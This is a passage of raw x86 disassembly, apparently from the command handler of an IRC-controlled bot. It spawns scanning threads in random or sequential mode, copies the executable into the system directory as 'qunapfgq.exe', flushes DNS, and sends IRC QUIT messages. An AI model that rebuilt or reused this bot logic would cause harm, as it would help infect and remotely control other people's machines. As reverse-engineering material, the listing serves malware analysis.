mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3C4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
lea eax, [ebp+var_2C4]
push offset dword_42C34C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB88
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2CC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C290
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call ds:dword_427078 ; GetModuleFileNameA
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset aQunapfgq_exe ; "qunapfgq.exe"
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset sub_412197
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C150
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C114
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset sub_41144E
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C05C
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFF4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF64
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF2C
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BECC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEB4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
call sub_4188A6
push ebx
call ds:dword_42706C ; ExitProcess
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_8 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset sub_415E4B
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE18
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BDF8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset sub_40B425
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aSbrti ; "sbrti"
push offset unk_42BDA4
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
